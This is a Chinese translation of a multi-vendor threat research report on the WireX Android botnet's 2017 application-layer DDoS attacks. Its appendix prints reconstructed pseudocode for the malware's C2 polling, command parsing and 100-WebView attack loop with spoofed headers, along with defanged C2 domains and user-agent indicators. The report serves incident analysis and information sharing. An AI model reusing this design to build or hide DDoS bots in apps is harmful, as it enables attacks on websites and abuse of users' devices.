事件简介
2017年8月17日,多个内容分发网络(CDN)和内容提供商遭受了来自被称为WireX的僵尸网络的重大攻击。该僵尸网络由其命令和控制(C2)协议中的一个分隔符字符串而得名。 WireX僵尸网络主要包括运行恶意应用程序的Android设备,而这些恶意应用程序主要用于制造DDoS流量。
前几天,Google被警告称这个恶意软件存在其Play商店中。不久之后,Google删除了数百个受影响的应用程序,并开始从所有设备中删除该恶意应用程序。
来自Akamai,Cloudflare,Flashpoint,Google,Oracle Dyn,RiskIQ,Team Cymru和其他组织的研究人员共同合作打击了这个僵尸网络。有迹象显示这个僵尸网络可能早在8月2日就已经开始活跃,但直到8月17日的攻击才引起了这些组织的关注。这篇文章代表了研究人员的共同智慧和努力,他们以互联网社区的整体利益为重,分享了关于此次僵尸网络的信息。本文是由来自多个组织的研究人员共同撰写的,由Akamai,Cloudflare,Flashpoint和RiskIQ同时发布。
攻击细节
WireX僵尸网络的最早的活动出现在8月2日,因为当时的攻击比较轻微,因此并没有被注意到。 直到研究人员开始在日志中搜索26字符的User-Agent字符串才发现。 这些初始攻击很小,表明恶意软件正处于发展阶段或部署的初期阶段。 持续时间更长的攻击从8月15日开始,这些事件源自至少7万个并发IP地址,如图1所示。
图1:根据参与攻击的每小时观察到的唯一IP数量,僵尸网络的预计增长
WireX是应用层的DDoS攻击。 攻击节点生成的流量主要是HTTP GET请求,有些变体似乎能发出POST请求。 换句话说,僵尸网络产生类似于普通HTTP客户端和Web浏览器的有效请求的流量。
通过初始观察,发现了通过使用包含小写英文字母字符的HTTP请求的User-Agent字符串,并以随机顺序来区分来自该僵尸网络的大部分流量。
看到的一些User-Agent值:
User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih
还观察到恶意软件的变种发出不同长度和扩展字符集的User-Agent字符串,有的包括常见的浏览器User-Agents。 以下是其他User-Agents的一些示例:
User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2
追根溯源
对8月17日攻击数据的分析显示,来自100多个国家的设备参与了当前的僵尸网络,这点很不寻常。攻击IP的分布情况以及其独特的User-Agent字符串让当初调查的那些研究人员开始觉得其他组织可能已经看到或可能会遇到类似的攻击。于是研究人员与其他组织的同事们互相交流碰到的情况。
就这样一旦展开了更大规模的协同努力,调查便迅速开始展开。通过对历史日志信息进行分析,发现了攻击IP和恶意的连接,可能运行在Android操作系统之上。
在Mirai攻击之后,信息共享氛围已经出现了复苏,研究人员互相分享状况报告,并在必要时协同解决互联网问题。此外,WannaCry,Petya等全球性活动加强了这一合作的价值。诸如此类的许多信息共享组织完全是业界同行之间的非正式沟通。
找到恶意软件
调查8月17日攻击的日志显示,通过与之前的攻击比对签名,找到了具有相同签名的第一个Android应用程序“twdlphqg_v1.3.5_apkpure.com.apk”。 研究人员很快找到了该应用程序的样本以了解它的工作原理,并确定相关应用程序是否可能存在。 使用应用程序包中的应用程序名和参数的变体搜索可以显示来自相同或类似命名的作者的多个应用程序,他们具有相似的描述,如图2所示。找到新的应用程序之后,团队中的其他人就开始深入分析二进制文件来了解它们的工作原理。
图2:搜索相关恶意软件的截图
其实在移动设备预置的知名app store(像Google Play这样的)发现这样的应用的情况实属少见。联系上Google之后,Google迅速删除了违规内容。 谷歌做了以下评论作为对这项研究的回应:
我们确定了与此问题相关的大约300个应用程序,将其从Play商店中移除,并且我们正在将其从所有受影响的设备中删除。有了研究人员的发现,再结合我们自己的分析,使我们能够更好地保护Android用户。
恶意软件概览
许多已识别的恶意软件为媒体/视频播放器,铃声或者像存储管理器这样的工具,还有应用商店等,而其中附加的隐藏功能对被感染的终端用户来说却并不明显。当启动应用程序时,恶意组件就启动命令和控制轮询服务开始工作,查询命令和控制服务器,其中最常见的是用于攻击命令的g[.]axclick[.]store。当接收到攻击命令时,解析服务将检查原始攻击命令,并从中解析出关键信息并将其作为参数调用攻击服务。
安装这些攻击功能的应用程序虽然本来是恶意的,但似乎对已安装它们的用户来说是良性的。这些应用程序还利用了Android服务架构的特性,它允许应用程序即使在后台也可以使用系统资源,因此能够在应用程序未使用时启动攻击。杀毒工具目前将此恶意软件识别为“Android Clicker”特洛伊木马,但本次事件的目的与点击欺骗并无关系。这种恶意软件可能之前跟点击欺骗有点联系,但之后又被作为DDoS之用。
有关应用程序的流氓组件的内部部分的深入概述,请参见附录1。
总结
只有在DDoS攻击的目标(也就是受害者),DDoS缓解公司和情报公司之间开放协作,才能得出这么多发现。对于这次事件的揭露,每个集体都扮演了不同的角色; 没有每个人的贡献,这个僵尸网络将一直是一个谜。
当发生DDoS攻击时,可以做的最好的事情就是分享与攻击相关的详细信息。有了这些信息,我们有能力干掉这个攻击的人才能更加了解它们。
这些指标包括数据包捕获,攻击IP地址列表,赎金笔记,请求标头以及任何有趣的模式。这样的数据不应包含任何合法的客户端流量,以减少隐私问题,并且还会导致合法流量污染和减缓分析。最重要的是,允许您分享这些数据,不仅仅是向您的供应商提供这些数据,而是向更广泛的安全社区的可信任的人分享这些数据。
向别人请求帮助并不可耻。不仅不可耻,而且其实大多数情况下,根本不可能隐藏你被DDoS攻击了这样的事实。一些研究力量是有能力检测全球范围内针对第三方发生的DDoS攻击的存在的,无论这些第三方多么想要对这件事保持沉默。保持沉默并不能带来多少好处,需要积极地面对啊。
共享详细的攻击指标还允许正式和非正式的信息共享组在全球范围内沟通和了解正在发生的攻击,而不仅仅是他们在自己的平台上看到的攻击。这份报告是一个例子,说明如何以非正式的形式分享可以对受害者和整个互联网产生巨大的积极影响。跨组织合作对于应对互联网的威胁至关重要,如果没有这种合作,刑事案件可以不经审查就能运作。
我们要感谢Akamai,Cloudflare,Flashpoint,Google,RiskIQ,Cymru团队以及其他未列出来的研究人员。我们也要感谢联邦调查局在这件事上的协助。
作者 & 研究员
Tim April : Senior Security Architect @ Akamai
Chris Baker : Principal of Threat Intelligence @ Oracle Dyn
Matt Carothers
Jaime Cochran : Security Analyst @ Cloudflare
Marek Majkowski : Enthusiastic Geek @ Cloudflare
Jared Mauch : Internetworking Research and Architecture @ Akamai
Allison Nixon : Director of Security Research @ Flashpoint
Justin Paine : Head Of Trust & Safety @ Cloudflare
Chad Seaman : Sen. Security Intelligence Response Team Engineer @ Akamai SIRT
Darren Spruell : Threat Researcher @ RiskIQ
Zach Wikholm : Research Developer @ Flashpoint
附录1:恶意软件详细分析
识别C2域名
通过检查各个反编译之后的应用程序,发现了某个根域名(axclick[.]store)的多个子域名。这些子域名怀疑是僵尸网络的C2服务器的一部分。
$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "http://u[.]axclick[.]store/"
com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, "http://g[.]axclick[.]store/"
其中第一个域(u[.]axclick[.]store)并没有返回任何内容。它只是返回一个空的响应然后加一个200 OK 的状态码,似乎是用来作为基本的互联网连通性测试的。
第二个域(g[.]axclick[.]store)似乎被链接到恶意软件的DDoS组件。 引用此域的应用程序的组件负责创建包含两个WebView实例的Android Service(译者注:Service为Android的四大组件之一)。 第一个WebView实例用作C2信标,轮询C2服务器执行攻击指令。 第二个作为克隆WebView对象进行攻击的参考。 该组件还包含用于转换和配置这些攻击实例的基本逻辑。
还有其他一些有趣的组件,他们都有其独特的角色所在。
这里讨论的第一个组件类型作为基本的,永久的,持久化组件。 一些应用程序使用
android/os/Handler->postDelayed
功能实例化的Service对象。 其实就是使应用程序通过经常间隔轮询C2服务器的Service以实现持久化 ——即使应用程序是在后台运行的时候。 应用程序的其他变种使用AsyncTask对象可达到相同的目的。
第二个组件是用作C2攻击指令解析器的WebViewClient。 它负责检测来自由轮询服务控制的C2 WebView实例的onPageFinished事件,并解析返回的命令。 当攻击命令被成功解析后,这个组件就负责调用最终用来发起攻击的函数。
组件概述
下面我们将单独讲一下从反编译的APK得到的伪代码收集到的信息。 然后,我们将更详细地讨论伪代码到底做了什么,因为这涉及到攻击相关的命令和技术。
Service Runner组件
ServiceRunner组件是用来作为持久后台执行任务的,它将一个Runnable对象注入到一个定时的android.os.handler对象中。由于在Android环境中Service是可以在后台持续运行的,app一旦启动恶意软件就可以持续性地在后台运行。只有在应用被移动设备用户故意kill/关闭掉,或者是在设备重启的情况下,这种后台执行的操作才会停止。
Service Runner伪代码
Class ServiceRunner extends Object {
Public function run() {
DDoS_Service->poll_c2();
}
}
C2服务器响应解析器
AttackCommandParser是一个callback, 在C2 WebView检测到页面已经加载时触发。解析器加载页面的内容,并提取<title>标签中的内容作为攻击命令。 根据观察到的样本,来自C2的payload如下所示:
<html>
<title>
https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
</title>
</html>
从<title>标签中提取出来的值作为参数传入到String->contains(),确保这个值包含token分隔字符串"snewxwri"。如果分隔符存在,就把内容trim一下,然后用split()分隔成包含几个部分的Array。最后得到的分隔后的值将作为参数传入到DDoS_Service->attack()方法中。
C2服务器端响应解析之后的伪代码
Class AttackCommandParser extends WebViewClient {
Public function onPageFinished(C2_WebView,C2_url) {
String pageTitle = C2_WebView->getTitle();
if (pageTitle->contains(“snewxwri”) == true) {
pageTitle = pageTitle->trim();
Array commandParts = pageTitle.split(“snewxwri”);
String target = commandParts[0];
String userAgent = commandParts[1];
String referer = commandParts[2];
DDoS_Service->attack(target, userAgent, referer);
}
}
}
DDoS Service
DDoS_Service组件就是用来发动攻击的核心组件了。它包含三个核心函数。它们的任务分别是:运行Service、调用poll_c2()方法加载C2的WebView,以及最重要的——发起攻击。我们先上伪代码,然后对这三个函数逐一进行分析。
DDoS Service伪代码
Class DDoS_Service extends Object {
Public function onCreate() {
Handler OS_Handler = new Handler();
Object Runner = new ServiceRunner();
OS_Handler->postDelayed(Runner,2);
}
Public function poll_c2() {
WebViewClient C2_Parser = new AttackCommandParser();
WebView C2_WebView = new WebView();
WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
C2_WebView->clearCache(true);
C2_WebView->clearHistory();
C2_WebView->setWebViewClient(C2_Parser);
C2_WebView->loadUrl(“http://g[.]axclick[.]store”);
}
Public function attack(String target, String userAgent, String referer) {
HashMap WebViewHeaders = new HashMap();
WebViewHeaders->put(“Referer”,referer);
WebViewHeaders->put(“X-Requested-With”,””);
WebView[] AttackerViews = new WebView[100];
for (int i=0; i<AttackerViews.length; i++) {
AttackerViews[i] = new WebView();
AttackerViews[i]->clearHistory();
AttackerViews[i]->clearFormData();
AttackerViews[i]->clearCache(true);
WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
AttackWebViewSettings->setJavaScriptEnabled(true);
AttackWebViewSettings->setUserAgentString(userAgent);
AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
this->deleteDatabase(“webview.db”);
this->deleteDatabase(“webviewCache.db”);
AttackerViews[i]->loadUrl(target,WebViewHeaders);
}
}
}
DDoS Service的onCreate()
onCreate()方法直截了当:就创建了一个新的android.os.Handler以及ServiceRunner实例。其中ServiceRunner实例随后通过postDelayed()方法被hook到Handler上。根据Android官方文档的介绍,这"使得Runnable对象被添加到消息队列中,然后经过一段特定的时间之后被调用"。这个方法接收的第二个参数是在Runnable被调用之前需要经过的毫秒(ms)数。在这个例子里面就是2,也就是2ms,可见攻击者多么具有攻击性。
DDoS Service poll_c2()
poll_c2()方法负责使用C2 URL不断重新加载WebView,同时将AttackCommandParser WebViewClient hook到轮询器WebView实例中。 在轮询C2域之前,这个Service将清除并禁用缓存,并清除WebView实例的历史记录。 执行这些步骤是为了确保客户端始终从C2获取最新信息,而不是从本地设备的缓存中。 在分析attack()方法时,我们会看到这种策略再次被使用。
DDoS Service attack()
Public function attack(String target, String userAgent, String referer) {
HashMap WebViewHeaders = new HashMap();
WebViewHeaders->put(“Referer”,referer);
WebViewHeaders->put(“X-Requested-With”,””);
WebView[] AttackerViews = new WebView[100];
for (int i=0; i<AttackerViews.length; i++) {
AttackerViews[i] = new WebView();
AttackerViews[i]->clearHistory();
AttackerViews[i]->clearFormData();
AttackerViews[i]->clearCache(true);
WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
AttackWebViewSettings->setJavaScriptEnabled(true);
AttackWebViewSettings->setUserAgentString(userAgent);
AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
this->deleteDatabase(“webview.db”);
this->deleteDatabase(“webviewCache.db”);
AttackerViews[i]->loadUrl(target,WebViewHeaders);
}
}
attack()方法负责生成实际的攻击流量。之前讨论的AttackCommandParser-> onPageFinished() 将传递由最后一个C2交互发出的target,userAgent和referer值。此方法将创建一个HashMap对象,该对象将配置攻击期间使用的HTTP头。
第一个头是HTTP Referer,据我们所知这是由C2服务器提供的。在所有我们观察到的情况中,该值是实际目标的镜像值。第二个头是X-Requested-With; 虽然WebView通常会有一个默认值,但它将被空白值覆盖。通常来自嵌入式WebView的这个HTTP头将包含与Android应用程序有关的信息,例如com.[app_author].app。这个头部很可能被专门用来混淆攻击目标身上遇到的攻击流量是谁或者什么。
一旦配置了headers,就会实例化一个空的WebView占位符数组,然后是一个循环,用实际的WebView实例来填充这个数组。每个实例都通过同一组配置过程。创建的WebView实例将具有其历史记录,保存的表单数据和缓存清除。启用JavaScript功能(默认情况下嵌入式WebViews通常被禁用),将使用C2攻击指令提供的值覆盖HTTP头中出现的User-Agent字符串,并将CacheMode设置为LOAD_NO_CACHE,这将强制浏览器实例绕过本地缓存,然后为每个请求获取目标URL。
最终确保设备上不会命中缓存,然后将该请求发送到目标,应用程序在加载每个请求之前也会从设备中删除其本地的webview.db和webviewCache.db文件。
最后,我们看到使用目标URL和自定义的WebViewHeaders HashMap在新配置的WebView实例上调用了loadUrl()方法。
运行恶意软件——用户体验怎么样?
虽然许多已识别的应用程序已从Google Play商店中删除,但镜像仍然在互联网上,我们可以从那里下载APK文件。 我们将“twdlphqg”(其中一个攻击应用)加载到从2015年开始运行Android 5.0和安全补丁的三星Galaxy S4的设备上。
这个app与我们测试的其他app一样,使用的都是无害化的名称,如“设备分析工具”,“数据存储工具”“软件包管理器”等。
当应用程序运行时,它好像就是一个非常简单的铃声应用程序,只提供了三个铃声。 该应用程序可以播放和设置铃声,但没有其他功能。
然而在后台,这个应用程序产生了额外的进程,手机即使在锁屏的情况下,这些进程也会继续运行。 这个特性允许应用程序在后台从手机端发起DDoS攻击。 当我们将手机放在充电器上让它睡眠时,它就会继续发起DDoS攻击。
值得注意的是,现在已经无法安装这个应用程序了,因为Google的PlayProtect功能现在已经阻止这个应用程序安装了。 Google也将其从已经安装的设备中删除。 我们测试的本次攻击事件中所有这些应用程序都弹出了下面的禁用对话框, 而禁用PlayProtect是运行恶意软件所必需的。
注意!注意!恶意app的变种!
我们测试了此次攻击事件中的多个应用,它们在恶意行为和用户界面方面都有不同的变化,但他们也并不全是铃声应用。 另外所有测试都是在同一台手机上进行的。
来自DDoS统计数据的Xryufrix是最受欢迎的,但是在运行时,它的表现是惊人的。可能是由于兼容性的问题,妨碍了它达到其完整的DDoS攻击力。该应用程序在初次安装时仅需要较少的权限,但是要求与twdlphqg具有相同的锁屏相关设备管理员权限。这个恶意软件想伪装成一个YouTube应用程序。当它首次打开时,它会向axclick域查询DDoS攻击命令以及针对
p[.]axclick[.]store/?utm_source=tfikztteuic
的GET请求,它返回位于
market://details?id=com[.]luckybooster[.]app
的app的Play Store URL。当用户尝试播放Youtube视频时,此应用关闭,从应用列表中删除其图标,并且使它自己以后都无法执行,可能已经crash了。它还为“Luckybooster”应用程序打开了Play store的下载链接,它在运行时没有DDoS。 xryufrix应用程序在手机睡眠时不会启动DDoS攻击,在应用程序处于活动状态的任何一个时刻也不会启动DDoS攻击。